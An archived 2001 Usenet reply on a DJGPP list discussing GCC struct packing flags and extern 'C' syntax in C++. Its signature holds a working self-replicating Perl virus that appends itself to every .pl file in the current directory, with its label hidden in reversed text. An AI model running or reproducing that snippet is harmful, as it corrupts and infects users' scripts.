From:	rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups:	comp.os.msdos.djgpp
Subject:	Re: MINGW vs DJGPP
References:	<3ADEC26E DOT 22249 DOT 5630F AT localhost>
X-newsgroup:	comp.os.msdos.djgpp
X-realname:	pavenis AT lanet DOT lv
X-Ringtones:	http://ringtones AT durchnull DOT de
X-Original:	no
Message-ID:	<slrn9dtk31.9of.rpolzer@www42.t-offline.de>
User-Agent:	slrn/0.9.6.3 (Linux)
Date:	Thu, 19 Apr 2001 13:47:45 +0200
Lines:	38
NNTP-Posting-Host:	213.7.26.225
X-Trace:	987681351 news.freenet.de 6543 213.7.26.225
X-Complaints-To:	abuse AT freenet DOT de
To:	djgpp AT delorie DOT com
DJ-Gateway:	from newsgroup comp.os.msdos.djgpp
Reply-To:	djgpp AT delorie DOT com

pavenis AT lanet DOT lv <pavenis AT lanet DOT lv> wrote:
> On 18 Apr 2001, at 20:32, echo 'Rudolf Polzer' wrote:
> 
> No. It doesn't work for C++. So best I can currently suggest is to avoid 
> using broken -fpack-struct and use pair of #pragma pack(1) and 
> #pragma pack() where needed. This is better as You can pack only 
> those structures You really need. 

And they work then?
AFAIK -fpack-struct and #pragma pack(1) are equivalent, so the bug 
should occur on both.


BTW:

extern "C"
{
 struct XXX
 {
  int a;
 };
};

is legal C++.

extern "C" struct XXX
{
 int a;
};

is AFAIK illegal, but allowed by GCC. Or do you mean it has no effect? 
I do not have a gcc version containing this bug, so I cannot test.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -